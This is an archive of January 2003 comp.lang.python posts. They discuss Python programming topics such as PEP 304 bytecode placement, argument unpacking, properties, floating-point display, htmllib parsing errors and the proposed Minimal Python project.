References: <7x8yxqduco.fsf@ruckus.brouhaha.com> <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <7xr8bjgz4x.fsf@ruckus.brouhaha.com> <mailman.1042326208.15022.python-list@python.org> <7x4r8ej1r9.fsf@ruckus.brouhaha.com> <mailman.1042393464.20506.python-list@python.org> <7x8yxqduco.fsf@ruckus.brouhaha.com> <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net> <mailman.1042427842.32098.python-list@python.org> <avuha2$jivd2$1@ID-114079.news.dfncis.de>
Message-ID: <3E235223.5050505@tismer.com>

Jeremy Yallop wrote:
> * Christian Tismer
> | While a name is most unimportant for me,
> | I agree that it *is* important for the
> | community to be able to spell it.
> | 
> | Anyone having some good suggestions?
> 
> Pygmy.

Yeah!

Pyg me too please :-)





From acid_til at yahoo.com  Thu Jan 30 11:51:32 2003
From: acid_til at yahoo.com (Luc)
Date: Thu, 30 Jan 2003 11:51:32 -0500
Subject: How can I pass command line arguments when python is embedded ???
Message-ID: <6Fc_9.4158$nD1.958914@news20.bellglobal.com>

Hello fellow Python users :)

Like the subject says, how can I do it ??? What I want to do is pass a 
number to the python script file that is to be used to determined when 
to load from a database.

Thanks in advance for any help.

Luc.




From skip at pobox.com  Wed Jan 29 14:10:47 2003
From: skip at pobox.com (Skip Montanaro)
Date: Wed, 29 Jan 2003 13:10:47 -0600
Subject: PEP 304 - Controlling generation of bytecode files
In-Reply-To: <1043731567.29624.81.camel@lothlorien>
References: <15925.46655.439046.717944@montanaro.dyndns.org>
        <1043731567.29624.81.camel@lothlorien>
Message-ID: <15928.10039.718507.665701@montanaro.dyndns.org>

    Ian> It would please me to not see .pyc files sitting all over the
    Ian> place.  Really, it's not anal or anything -- I don't horribly mind
    Ian> them.  But I know I would feel happier not seeing them, and I like
    Ian> feeling happy.  This would make possible that dream of a .pyc-less
    Ian> world.  I know I am a happier person for having Emacs put its ~
    Ian> backups into a separate directory -- happiness through cleanliness
    Ian> is not just a fantasy!  And I was just thinking about how I didn't
    Ian> like .pyc files two days ago...

You can accomplish that with this proposal (though users can override your
accomplishments).  If you set sys.bytecodebase to None in site.py, no .pyc
files will be written.  I think that's where I will make the translation
from PYTHONBYTECODE base to sys.bytecodebase.  You are free to override or
undo that.


    Ian> The PEP should be unambiguous about the search path.  In
    Ian> particular, say /foo shows up in the search path before /bar, and I
    Ian> create a file /foo/file.py, use it and decide it should go in
    Ian> /bar/file.py.  I likely won't delete /pycfiles/foo/file.pyc, but it
    Ian> would be *horrible* if that outdated file got imported.  I can
    Ian> easily imagine tearing my hair out for some time if that happened
    Ian> and I didn't notice it.

That outdated .pyc file will get imported.  It's your responsibility to
manage your directory tree properly.  If you think this is a bug, please
file a report on SF (though I don't whoever responds will consider it a
bug).

Here's one way to reproduce the behavior.  Cd to /tmp and create oldpyc.py
with these contents:

    import sys

    sys.path = ["./foo", "./bar"] + sys.path

    import minnie

Create directories ./foo and ./bar.

Now create /tmp/foo/minnie.py with these contents:

    print "imported", __file__

Run "python oldpyc.py".  It should report:

    imported ./foo/minnie.py

Now move /tmp/foo/minnie.py to /tmp/bar/minnie.py but don't delete
/tmp/foo/minnie.pyc.

Run "python oldpyc.py" again.  It should report:

    imported ./foo/minnie.pyc

Skip




From nav at adams.patriot.net  Fri Jan 17 15:52:27 2003
From: nav at adams.patriot.net (Nick Vargish)
Date: 17 Jan 2003 15:52:27 -0500
Subject: iterating in reverse
References: <f57664b9.0301161546.37c85159@posting.google.com> <3E274D34.8F0C4348@alcyone.com> <f57664b9.0301170105.a7d95fa@posting.google.com> <x7el7b4qiv.fsf@guru.mired.org> <yyywul3skw6.fsf@adams.patriot.net> <7xznpzv93c.fsf@ruckus.brouhaha.com>
Message-ID: <yyybs2fsdmc.fsf@adams.patriot.net>

Paul Rubin <phr-n2003b at NOSPAMnightsong.com> writes:

> If you're just looking for a practical solution, use the locale package,
> which does this formatting for you.

I couldn't make this work:

  >>> locale.format("%d", 1234567, 1)
  '1234567'

But thanks for the suggestion.

Nick

-- 
# sigmask.py  ||  version 0.2  ||  2003-01-07  ||  Feed this to your Python.
print reduce(lambda x,y:x+chr(ord(y)-1),'Ojdl!Wbshjti!=obwAqbusjpu/ofu?','')




From max at alcyone.com  Fri Jan 31 23:06:18 2003
From: max at alcyone.com (Erik Max Francis)
Date: Fri, 31 Jan 2003 20:06:18 -0800
Subject: (no subject)
References: <200301311941.h0VJf9w03290@enterprise.phyast.pitt.edu>
		 <1044047452.1119.8.camel@sayge.arc.nasa.gov>  <3E3AEB1A.6587E1C@pitt.edu> <mailman.1044050652.9321.python-list@python.org>
Message-ID: <3E3B47BA.C84F48A3@alcyone.com>

Chad Netzer wrote:

> Perhaps rather than do a version check, you could do:
> 
> try:
>     True
>     False
> except NameError:
>     # Add to builtins here

I've been considering this for EmPy (where I use True and False for
clarity but which must be portable all the way back to 1.5.2). 
Especially in the case of a standalone program that may be invoked many
times (driven by make, for instance), I'm not sure the overhead of
catching the NameError every single time the script is invoked is worth
the extra value of 1. using the True/False builtins (equal to 1/0 in
2.2.x) or 2. actually having the True/False really be bools (2.3 and
up).

So I just start with a

	False, True = 0, 1

at the top and move on from there.  (Since the script is backward
compatible, it never takes advantages of the True/False-as-real-Booleans
features anyway.)

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ It is much safer to obey than to rule.
\__/ Thomas a Kempis
    Sade Deluxe / http://www.sadedeluxe.com/
 The ultimate Sade encyclopedia.



From Padraig at Linux.ie  Fri Jan 24 09:06:21 2003
From: Padraig at Linux.ie (Padraig at Linux.ie)
Date: Fri, 24 Jan 2003 14:06:21 +0000
Subject: Unrolling of actual parameters from list
In-Reply-To: <mailman.1043414082.23824.python-list@python.org>
References: <mailman.1043414082.23824.python-list@python.org>
Message-ID: <3E31485D.8000202@Linux.ie>

Roberto Cavada wrote:
> Hi there,
>  consider this class definition:
> 
> class Foo:
>   def __init__(self, a, b):
>     # do something
>     return
>   pass # end of class
> 
> Suppose now you want to create a Foo instance by passing a *list* of 
> actual parameters:
> 
> l = [10,20]
> foo = Foo(l)  # this - as you can guess - does not work
> 
> Is there a way to do that?

foo = Foo(*l)

http://www.python.org/doc/current/ref/calls.html

P?draig.




From jsaul at gmx.de  Wed Jan 29 11:36:04 2003
From: jsaul at gmx.de (jsaul)
Date: Wed, 29 Jan 2003 17:36:04 +0100
Subject: Easiest way to include C libraries
In-Reply-To: <4378fa6f.0301211616.3b353722@posting.google.com>
References: <4378fa6f.0301211616.3b353722@posting.google.com>
Message-ID: <20030129163604.GB846@jsaul.de>

* Marc [2003-01-22 01:16]:
> [extending Python with C/C++]

I have tried SWIG and Pyrex myself, and for C only, I find Pyrex
particularly comfortable to use. It has its own syntax which is
very Python-like with some extensions to declare C types and the
like. Very easy to learn. Check it out at
http://www.cosc.canterbury.ac.nz/~greg/python/Pyrex/
It cannot wrap C++ directly, though.

You might also try to wrap some parts of your library "by hand";
it isn't quite as difficult as it would seem, but does require
substantial extra time to learn the Python/C API.

Gru?, jsaul
-- 
Palo pa'que aprenda que aqu? s? hay honor!
[Rub?n Blades]



From tismer at tismer.com  Tue Jan 14 19:09:04 2003
From: tismer at tismer.com (Christian Tismer)
Date: Wed, 15 Jan 2003 01:09:04 +0100
Subject: [OT] Seeking Minimal Python Project Name
In-Reply-To: <1042574279.1140.131.camel@p3local>
References: <3e22b7f7@news.swissonline.ch> 	<57de9986.0301141015.30a66906@posting.google.com> <1042574279.1140.131.camel@p3local>
Message-ID: <3E24A6A0.90108@tismer.com>

Bryan Richard wrote:
> On Tue, 2003-01-14 at 10:15, Giles Brown wrote:
> 
>>"F. GEIGER" <fgeiger at datec.at> wrote in message news:<3e22b7f7 at news.swissonline.ch>...
>>
>>>Seems somebody has started a competition in finding names for Minimal
>>>Python.
> 
> 
> Pynt
> 
> Pronounced Pint.

Which is 568 ml of beer in Ireland and England, I think.

Nice name, besides TiPy, Poison and some others.
Poison is quite attractive.

a pint of poison, please -- chris





From eat at joes.com  Wed Jan 15 16:53:44 2003
From: eat at joes.com (donoli)
Date: Wed, 15 Jan 2003 21:53:44 GMT
Subject: buffer overflow
Message-ID: <splb2vkt2lqspqjea5566dldil2t5s3v7m@4ax.com>

I have two machines, FreeBSD 4,2  and  W2K pro.  I'd like to test the
security on both of them against a buffer overflow.  If someone has
the code in python for a buffer overflow, please post it.
donoli.



From sholden at holdenweb.com  Tue Jan  7 16:06:56 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Tue, 7 Jan 2003 16:06:56 -0500
Subject: Custom statements
References: <2358094.1041969032@dbforums.com>
Message-ID: <LlHS9.34298$WP5.22737@fe08>

"Tetsuo" <member16943 at dbforums.com> wrote in message
news:2358094.1041969032 at dbforums.com...
>
> If I wanted "nand" to be a Python statement, could I do that without
> hacking the C source code?
>

Presumably you mean a "Python keyword", not a "Python statement" (unless you
really wanted the line

    nand something

to be meaningful). In either case the answer is "no", because statement
syntax and keywords are recognised by the lexical analyser, which is
hard-wired.

regards
-----------------------------------------------------------------------
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/
-----------------------------------------------------------------------






From clifford.wells at attbi.com  Tue Jan 28 13:38:00 2003
From: clifford.wells at attbi.com (Cliff Wells)
Date: 28 Jan 2003 10:38:00 -0800
Subject: How to do this in Python...
In-Reply-To: <1043778720.4925.828.camel@x1-6-00-04-5a-64-c4-03>
References: <b0pnfa$o8m2@eccws12.dearborn.ford.com>
	 <HJ3Z9.987$P64.136@nwrddc02.gnilink.net> <b14p8o$q9c$1@wheel2.two14.net>
	 <mailman.1043723992.21150.python-list@python.org>
	 <b151vs$qbr$1@wheel2.two14.net>
	 <mailman.1043737792.4709.python-list@python.org>
	 <rxsZ9.126669$AA2.5317615@news2.tin.it>
	 <1043778720.4925.828.camel@x1-6-00-04-5a-64-c4-03>
Message-ID: <1043779080.4925.839.camel@x1-6-00-04-5a-64-c4-03>

On Tue, 2003-01-28 at 10:32, Cliff Wells wrote:

> I guess after looking at DSV you must think all my code looks like that =)

Er, never mind.  I've just woke up and it suddenly dawns on me that you
have no idea what the hell I'm babbling about...

-- 
Cliff Wells <clifford.wells at attbi.com>





From skip at pobox.com  Thu Jan 23 17:40:22 2003
From: skip at pobox.com (Skip Montanaro)
Date: Thu, 23 Jan 2003 16:40:22 -0600
Subject: How to do this in Python...
In-Reply-To: <b0pnfa$o8m2@eccws12.dearborn.ford.com>
References: <b0pnfa$o8m2@eccws12.dearborn.ford.com>
Message-ID: <15920.28502.766862.181592@montanaro.dyndns.org>

    Mike> match = re.match(pattern, string)
    Mike> if match:
    Mike>   // do something with match object

Verbose or not, this is approximately the correct way to do it.  You should
test against None, and eschew the C++ comments:

    match = re.match(pattern, string)
    if match is not None:
      # do something with match object

In Python, statements are not expressions, so you can't say

    if (match=re.match(...)):
        # do something with match object

Skip




From phr-n2003b at NOSPAMnightsong.com  Thu Jan 23 19:15:16 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 23 Jan 2003 16:15:16 -0800
Subject: How to do this in Python...
References: <b0pnfa$o8m2@eccws12.dearborn.ford.com> <mailman.1043365543.28469.python-list@python.org>
Message-ID: <7xy95biesr.fsf@ruckus.brouhaha.com>

Chad Netzer <cnetzer at mail.arc.nasa.gov> writes:
> match = re.match(pattern, string)
> if match is not None:
>     # do something with match object
> 
> Since if's can test for more than boolean values, and match is defined 
> to return None when it fails to match anything, not a False value.  

Can a match object ever test as false?



From rjones at ekit-inc.com  Tue Jan 21 18:37:16 2003
From: rjones at ekit-inc.com (Richard Jones)
Date: Wed, 22 Jan 2003 10:37:16 +1100
Subject: Sending text messages to mobiles
In-Reply-To: <85c78d18.0301211528.19e6cf09@posting.google.com>
References: <85c78d18.0301211528.19e6cf09@posting.google.com>
Message-ID: <200301221037.16032.rjones@ekit-inc.com>

On Wed, 22 Jan 2003 10:28 am, Byron Morgan wrote:
> I am a Python newbie, building a Python app that monitors live data,
> sending event-driven notifications to cellphones, pagers, email,
> instant message clients. I have found and used Py-TOC, a clean
> implementation of AOL's AIM services.
>
> My Question:
> Has anyone done an interface to Yahoo! Messenger? I am particularly
> interested because Yahoo! provides an easy cellular text messaging
> gateway.

There are plenty of sms gateways out there other than yahoo messenger. Most 
(if not all) support a simple HTTPS system where you make a single HTTPS GET 
request like:

    data = urllib.urlencode({'userid': 'blah', 'password': 'sekrit',
        'phone': mobile, 'message': message})
    response = urllib2.urlopen('https://provider.com/send.cgi', data)

Yes, that's all there is to it (assuming you've signed up with the provider 
and bought some credits ;)

A google search for "sms messaging gateway" will provide plenty of providers 
to choose from. Things to look for are the cost per message and how they 
handle (and inform you of) error responses. You may also be interested in 
whether they provide a callback system from handset delivery confirmation. Up 
to you.


    Richard





From akjmicro at yahoo.com  Sat Jan 25 17:35:04 2003
From: akjmicro at yahoo.com (Aaron K. Johnson)
Date: Sat, 25 Jan 2003 16:35:04 -0600
Subject: December 2002 comp.lang.* stats
Message-ID: <b0v3dq$bl4$1@bob.news.rcn.net>

Hello All,

I found a small bug which produced big errors in my last script......

I'm going to post the script in a seperate thread. Anyone who wants can hack
it, perfect it, whatever, as long as you return it to the community.

Basically, my date filter wasn't working well, so it grabbed the whole server.
Now, the filtering of the date works, I believe. Here are the results, again
for December 2002:

Yeah! we beat Perl! (and are in third place)

Best,Aaron.

comp.lang.java 2188
comp.lang.c++ 1349
comp.lang.python 919
comp.lang.perl 894
comp.lang.javascript 843
comp.lang.c 768
comp.lang.basic 726
comp.lang.php 548
comp.lang.clipper 451
comp.lang.tcl 405
comp.lang.ruby 398
comp.lang.labview 390
comp.lang.clarion 373
comp.lang.pascal 336
comp.lang.lisp 296
comp.lang.fortran 261
comp.lang.ada 210
comp.lang.smalltalk 177
comp.lang.cobol 176
comp.lang.asm 169
comp.lang.scheme 156
comp.lang.vhdl 153
comp.lang.postscript 139
comp.lang.prolog 115
comp.lang.idl-pvwave 111
comp.lang.forth 111
comp.lang.verilog 95
comp.lang.functional 93
comp.lang.awk 89
comp.lang.vrml 84
comp.lang.apl 81
comp.lang.mumps 63
comp.lang.rexx 60
comp.lang.eiffel 59
comp.lang.objective-c 48
comp.lang.misc 48
comp.lang.asm370 40
comp.lang.pl1 31
comp.lang.ml 29
comp.lang.logo 28
comp.lang.modula3 20
comp.lang.oberon 16
comp.lang.dylan 11
comp.lang.modula2 9
comp.lang.icon 8
comp.lang.pop 7
comp.lang.idl 4
comp.lang.prograph 2
comp.lang.limbo 2
comp.lang.clu 2
comp.lang.clos 2






From jorgencederberg at hotmail.com  Wed Jan 15 09:53:45 2003
From: jorgencederberg at hotmail.com (=?ISO-8859-1?Q?J=F8rgen_Cederberg?=)
Date: Wed, 15 Jan 2003 15:53:45 +0100
Subject: Detect when a class member is updated
References: <67446a0a.0301150634.f6d0c43@posting.google.com>
Message-ID: <3E2575F9.6030305@hotmail.com>

Boethius wrote:
> Can I detect when a class member is added or updated?
> 
> I have a class with a member called path. Everytime it's updated, I'd
> like to run a 'sanity check' on the new value.
> 
> How can I do this?

How about using properties, as this example shows. You could replace the 
notify method with a validate method instead.

class Detect(object):
     __value = 0
     def set_value(self, value):
          self.__value = value
          self.notify()
     def get_value(self):
          return self.__value
     def notify(self):
          print "Value was changed to", str(self.value)
     value = property(get_value, set_value)

Regards
Jorgen




From andrews at pcug.org.au  Fri Jan 24 22:01:33 2003
From: andrews at pcug.org.au (Avery Andrews)
Date: Sat, 25 Jan 2003 03:01:33 GMT
Subject: compile win32 extensions for 152?
Message-ID: <Pine.GSO.4.21.0301251400030.17730-100000@supreme.pcug.org.au>

Are there instructions anywere for compiling win32 extensions to Python
152?  All of the links to David Ascher's tool for this that I can find are
broken (at least at the moment), and the docco is incomplete.

Thanks

 Avery Andrews




From adalke at mindspring.com  Wed Jan 29 10:51:27 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Wed, 29 Jan 2003 08:51:27 -0700
Subject: simple math don't work like I expected
In-Reply-To: <1ac767fa.0301290739.3f20d917@posting.google.com>
References: <1ac767fa.0301290739.3f20d917@posting.google.com>
Message-ID: <b18ta1$lmj$1@slb6.atl.mindspring.net>

Elvis Zaichenok wrote:
> Please, could somebody explain why things work like this? Why 1.0<1?

> ....     if (a-1)<1:
> ....         print(str(a-1)+'<1')
> ....     a=a+0.005
> ....
> 0.99<1
> 0.995<1
> 1.0<1

Because str lies to you, to make the numbers look nice.

See

http://www.python.org/doc/current/tut/node14.html
http://www.python.org/cgi-bin/faqw.py?req=show&file=faq04.098.htp

The 'repr' function shows you the base 10 value closest
to the base 2 value used by the computer.

 >>> a = 1.99
 >>> while a < 2.01:
...     if (a-1) < 1:
...             print repr(a-1), '< 1'
...     a = a + 0.005
...
0.98999999999999999 < 1
0.99499999999999988 < 1
0.99999999999999978 < 1
 >>>

and you can see that "1.99" is not precisely representable
using your computer's floating point values.

					Andrew
					dalke at dalkescientific.com




From bokr at oz.net  Sat Jan 25 19:29:22 2003
From: bokr at oz.net (Bengt Richter)
Date: 26 Jan 2003 00:29:22 GMT
Subject: memory leak with large list??
References: <mailman.1043498654.32707.python-list@python.org>
Message-ID: <b0va52$hac$0@216.39.172.122>

On Sat, 25 Jan 2003 07:41:42 -0500, Tim Peters <tim.one at comcast.net> wrote:

>[someone]
>>> Then I generate a large list (12 million floats), either using map,
>>> a list comprehension, or preallocating a list, then filling it using a
>>> for loop.
>
>[Terry Reedy]
>> 12 million different floats use 12 million * sizeof float object
>> bytes. Float object is at least 8 bytes for float + object overhead
>> (about 4 bytes?)
>
>Each object has at least a pointer to the object's type object, and a
>refcount, for at least 8 bytes of overhead.  So a float object consumes at
>least 16 bytes.
Why do you need to duplicate the type pointer for all those? I.e., if
you allocated space in decent-size arrays of object representations without
type pointer, and just reserved a header slot in front of the array, and
allocated the whole so array headers are aligned on, say, 128k addresses,
then you could look up the same type info with just an address mask and gain
4 bytes per float. Ditto for any homogeneous allocation arenas. IWT you
could allocate big blocks from a memory mapped file area if there's no other
way to get aligned large blocks. Or you could allocate really large virtual
space and sacrifice space at the front if necessary to start arena allocations
aligned as desired. Or if some platform is stubborn, virtualize id as a
composite of arena-selector and offset fields, and use zero offset to get
to the header and the type info. Anyway, you know what I'm saying.

Of course you could have a space (it wouldn't be an array per se)  with current-style
objects with individual type slots too, just by making the arena header type info say
"see object-specific type slot". Just that freeing/allocating space is more complicated
Than

I see from below[1] that allocation is already from a pool of type-specific
free lists for float, so IWT those lists could be linked within the
arrays just mentioned (you just can't use the type slot, because there wouldn't
be any individual ones, so maybe use the value slot instead).

[...]
>
>> Deleting frees mem for reuse by Python but does not necessarily return
>> memory to system for reuse by other processes.  (Exact behavior is
>> *very* system specific, according to Tim Peters' war stories.)
>
>Its worse in this case:  int and float objects come out of special internal
>type-specific "free lists", and there's no bound on how large those can get.
>Here's the deallocator for floats:
>
>static void
>float_dealloc(PyFloatObject *op)
>{
>	if (PyFloat_CheckExact(op)) {
>		op->ob_type = (struct _typeobject *)free_list;
>		free_list = op;
>	}
>	else
>		op->ob_type->tp_free((PyObject *)op);
>}
>
>IOW, memory once allocated for a float can never be reused for any other
>kind of object, and isn't returned to the platform C library until Python
>shuts down.  The list memory did get returned to the platform C library, and
>in this case it looks like the latter did return that chunk to the OS.  If
>the OP had allocated some other "large object" after allocating the list,
>chances are good that the platform C would not have returned the list memory
>to the OS.  Even then, it doesn't much matter -- the OS will simply page out
>that part of the address space if it's not used again.  The VM highwater
>mark doesn't have a primary effect on performance.
>
You'd have to change the above to use the ref count slot or the first 4 bytes
of the value slot instead of op->ob_type to link the free list though,
since ob_type would be coming from, e.g., OB_TYPE(op) with the appropriate
address masking etc in an OB_TYPE macro.

I wonder what the performance hit would be, given processor speeds and caching etc.
Or has this been tried and rejected for Python?

Regards,
Bengt Richter



From p-abel at t-online.de  Sat Jan 18 16:13:37 2003
From: p-abel at t-online.de (Peter Abel)
Date: 18 Jan 2003 13:13:37 -0800
Subject: Difficulty using htmllib
References: <e81e0f3d.0301180716.5b1aba2a@posting.google.com>
Message-ID: <13a533e8.0301181313.4895452c@posting.google.com>

joshua at goodish.org (Joshua Goodlett) wrote in message news:<e81e0f3d.0301180716.5b1aba2a at posting.google.com>...
> I've written a small web robot script to familiarize myself with both
> the htmllib and urllib modules but have been getting an error message
> when my HTMLParser subclass is fed.  I've included the relevant code,
> as well as the error message, below:
> 
> ----- snip -----
> 
> import htmllib
---should import urllib  # too
> from formatter import NullFormatter
> 
> class URLExtractor(htmllib.HTMLParser):
>     def __init__(self, outfile=None): 
>         htmllib.HTMLParser.__init__(self, NullFormatter())
>         self.url_list = []
>                 
>     def anchor_bgn(self, href, name, type):
>         self.url_list.append(href)
>     
>     def anchor_end(self): pass
> 
>     def reset(self)
---------------------: (missing!)
>         htmllib.HTMLParser.reset(self)
>         self.url_list = []
> 
>     def get_urls(self):
>         return self.url_list
> 
> if __name__ == "__main__":
> 
>     parser = URLExtractor()
>     hrefs = []
> 
>     urllist = ['www.4SEINC.com',
>                'www.aw-comm.com',
>                'www.arwireless.net',
>                'www.turn-keywireless.com',
>                'www.acadianatowers.com',
>                'www.adamstower.com',
>                'www.advancedlightning.com',
>                'www.advtwoway.com',
>                'www.aerosolutionsllc.com',
>                'www.afcommsupply.com',
>                'www.alandick.com',
>                'www.allcomm.com',
>                'www.alliancecomm.com',
>                'www.alliedtower.com',
>                'www.allteccorp.com',
>                'www.alpha-telecom.com',
>                'www.alumaform.com',
>                'www.amchel.com',
>                'www.amertower.com',
>                'www.anchorguard.com',
>                'www.andrew.com',
>                'www.us.anritsu.com']
>                
>     for url in urllist:        
>         sock = urllib.urlopen('http://' + url)
>         data = sock.read()
>         sock.close()
>         parser.feed(data)
>         hrefs.extend(parser.get_urls())
>         parser.close()
>         parser.reset()
> 
> ----- snip -----
> 
> And now the error message...
> 
> ----- snip -----
> 
> Traceback (most recent call last):
>   File "parsertest.py", line 55, in ?
>     parser.feed(data)
>   File "C:\Python22\lib\sgmllib.py", line 95, in feed
>     self.goahead(0)
>   File "C:\Python22\lib\sgmllib.py", line 161, in goahead
>     k = self.parse_declaration(i)
>   File "C:\Python22\lib\markupbase.py", line 66, in parse_declaration
>     decltype, j = self._scan_name(j, i)
>   File "C:\Python22\lib\markupbase.py", line 313, in _scan_name
>     self.error("expected name token")
>   File "C:\Python22\lib\sgmllib.py", line 102, in error
>     raise SGMLParseError(message)
> sgmllib.SGMLParseError: expected name token
> Press any key to continue . . .
> 
> ----- snip -----
> 
> Any suggestions or advice as to the cause of the error would be
> appreciated.  I'd suspected that the html source being fed to the
> parser is malformed, but this may be wrong.
> 
> Cheers,
> Joshua Goodlett

A made some corrections to your code (see my remarks) to make
it runnable. But this doesn't solve the problem. 
Printing the urls working on showed that the error occured in 
'http://www.turn-keywireless.com'
Inspecting the html-code shows some xml-code embedded with an own
namespace.
Since this code seems to be embedded in html-comments 
like <!-- , I'm not quite sure, if this causes the error
of unknown tokens, but it could.

Hope, I could help you 1 step further.
Peter



From cnetzer at mail.arc.nasa.gov  Tue Jan  7 19:11:58 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: Tue, 7 Jan 2003 16:11:58 -0800
Subject: Numeric array and for loops problem
In-Reply-To: <c5598079.0301070529.7a15d75f@posting.google.com>
References: <c5598079.0301060856.4012672b@posting.google.com> <Ef-cnQWRn8_oU4SjXTWc3A@comcast.com> <c5598079.0301070529.7a15d75f@posting.google.com>
Message-ID: <200301080011.QAA05102@mail.arc.nasa.gov>

On Tuesday 07 January 2003 05:29, Stan wrote:

>  worldarray[x,y] = val
>  x += 1
>  y += 1/2
> Doesn't work..

As others pointed out, 1/2 (currently) in python evaluates to 0 (integer 
division truncation of the remainder).

However, if you wanted to increment y by a half, ie:

y += 0.5

then you'll find that you can't index into the array with a floating point 
value.  That is because indices are whole numbers, representing the order of 
items, they are not a continuum.

You need to allocate your grid to the finest precision you will need, then 
scale your indices appropriately.  If you need both a HUGE grid, and a very 
fine grid, you will run out of memory, and need to use techniques where you 
are only operating on small subsets of the entire conceptual grid at any one 
time.

Good luck with your project; it may be ambitious for a beginning programmer, 
but you will learn a lot I expect.

-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer
cnetzer at mail.arc.nasa.gov




From mertz at gnosis.cx  Wed Jan  8 13:48:50 2003
From: mertz at gnosis.cx (Lulu of the Lotus-Eaters)
Date: Wed, 08 Jan 2003 13:48:50 -0500
Subject: no side effects
References: <2259b0e2.0301080510.3b2e5d4f@posting.google.com>
 <mailman.1042033754.17715.python-list@python.org>
 <avhbmr$7ib$06$1@news.t-online.com> <20030108160031.C349@prim.han.de>
 <3E1C3F27.1080009@v.loewis.de>
 <mailman.1042039926.12943.python-list@python.org>
Message-ID: <SKHH+kKkXwLD092yn@gnosis.cx>         

Martin von Loewis:
|> Namespaces are totally irrelevant for this feature of the for loop.

holger krekel <pyth at devel.trillke.net> wrote previously:
|Why is the way the python for-loop gets to the next *value*
|more important than understanding that python works with
|name-object bindings everywhere?

Yeah, FWIW, I found Holger's explanation much more relevant than
Martin's.  The whole internal stuff with hidden variables was kind of
interesting, but mostly just complicated and distracting from the actual
issues.  Of course, Martin works on said internals, so they seem more
evident and obvious to him.

The real issue involved is that an iteration in a 'for' loop causes a
repeated binding.  As soon as you mention 'binding', you are implicitly
talking about namespaces.  There -might- have been a way for Holger to
talk about bindings while brushing over the namespace issue, but I
thought his parenthetical about it not mattering which namespace was
close to this.

Here's a Gedanken experiment.  Suppose that instead of a hidden
variable, Python destructively popped items off a stack to bind
repeatedly to the 'i' variable in the example.  Perhaps Python 3000 will
implement it that way.  To a -Python- programmer, this underlying
implementation would make no difference (except maybe from a performance
perspective)... it would still be a matter of binding

Yours, Lulu...

--
    _/_/_/ THIS MESSAGE WAS BROUGHT TO YOU BY: Postmodern Enterprises _/_/_/
   _/_/    ~~~~~~~~~~~~~~~~~~~~[mertz at gnosis.cx]~~~~~~~~~~~~~~~~~~~~~  _/_/
  _/_/  The opinions expressed here must be those of my employer...   _/_/
 _/_/_/_/_/_/_/_/_/_/ Surely you don't think that *I* believe them!  _/_/





From jon+usenet at unequivocal.co.uk  Wed Jan  8 09:27:40 2003
From: jon+usenet at unequivocal.co.uk (Jon Ribbens)
Date: 8 Jan 2003 14:27:40 GMT
Subject: php vs python
References: <mailman.1041729428.4428.python-list@python.org> <9d791d77.0301060309.67c7d5f8@posting.google.com> <4lvi1v43744lo82btdhkk928vf8db3i40n@4ax.com>
Message-ID: <slrnb1odas.e5t.jon+usenet@snowy.squish.net>

In article <4lvi1v43744lo82btdhkk928vf8db3i40n at 4ax.com>, Yar3k wrote:
>>Be sure to check out Spyce (http://spyce.sourceforge.net/) if you want
>>to compare Python with PHP. :)
> 
> Cheetah templates are even better. Check this
> http://www.cheetahtemplate.org/Py10.html

And even better than that... http://jonpy.sf.net/ ;-)



From yaipa at yahoo.com  Sat Jan 11 02:59:11 2003
From: yaipa at yahoo.com (yaipa h.)
Date: 10 Jan 2003 23:59:11 -0800
Subject: [ann] Minimal Python project
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <mailman.1042257199.7572.python-list@python.org>
Message-ID: <6e07b825.0301102359.1c03bfbc@posting.google.com>

All,

While I am gripped in fear at the thought of Python spinning into a
series of downward spiraling dialects...

The adventurer in me says, "Give'em hell boys... Damn the
torpedoes..."

-al
 

]Andrew McGregor <andrew at indranet.co.nz> wrote in message news:<mailman.1042257199.7572.python-list at python.org>...
> --On Friday, January 10, 2003 23:37:09 +0000 "Edward K. Ream" 
> <edream at tds.net> wrote:
> 
> >> As Armin Rigo of PSYCO fame takes part in the effort,
> > we are confident that MinimalPython will eventually
> > run faster than today's CPython.
> >
> > This announcement seems to be making a truly remarkable claim, namely that
> > one could increase the speed of  C code by recoding it in Python and then
> > applying Psycho to it.
> 
> Yep, you can!  It takes a pretty strange piece of code, but it does happen. 
> For instance, I've written a key-management protocol in Python, and it 
> really is faster than the C implementations of the same thing when certain 
> key functions are fed to psyco.  (of course, this may just say that I have 
> a better feel for algorithm design)
> 
> > I am inclined to disbelieve this claim.  Why should Psycho be able to do
> > better than an optimizing C compiler applied to hand-written interpreter
> > code and/or library code?  The only possibilities I can think of:
> >
> > 1. The GIT somehow has access to enough run-time information to perform
> > some truly excellent optimizations.
> 
> This one :-)  For instance, in a dynamic language, you can't know until 
> runtime if some argument to a method has constant type or (better) constant 
> value, but a JIT can discover and use this.  If it does not, and someone 
> passes it a different type or value, the JIT can then discover this and 
> compile a new version that handles that type, optimised.  Note that the 
> constant value case can't be optimised by a C compiler, unless the function 
> is inlined, which doesn't happen in big programs very much because the 
> function will often be in another module.
> 
> It is also possible to inline method calls, merge methods if they are often 
> called in a particular sequence, and then optimise over the results.  C 
> compilers, because of modular compilation again, often can't do this either 
> (although a particularly fancy compiler might; it needs an integrated build 
> system to make this possible).
> 
> > 2. The granularity of the data processed by the GIT somehow is big enough
> > to again affect some excellent optimizations.
> 
> Maybe so, I'm not sure.
> 
> > 3. There are other marvelous optimizations, unknown to me and available
> > neither to Guido nor to an optimizing compiler that can be applied.
> >
> > My guess is that none of these are true.  Furthermore, I suspect that if
> > such optimizations are available to the GIT the optimizations could also
> > be made available either to Guido or to optimizing C compilers.  Note
> > that the fact that Psycho can improve Python code is not, by itself, an
> > indication that it could improve the corresponding C code!
> >
> > Would anyone care to enlighten me how MinimalPython will achieve its
> > stated goals?
> >
> > Edward
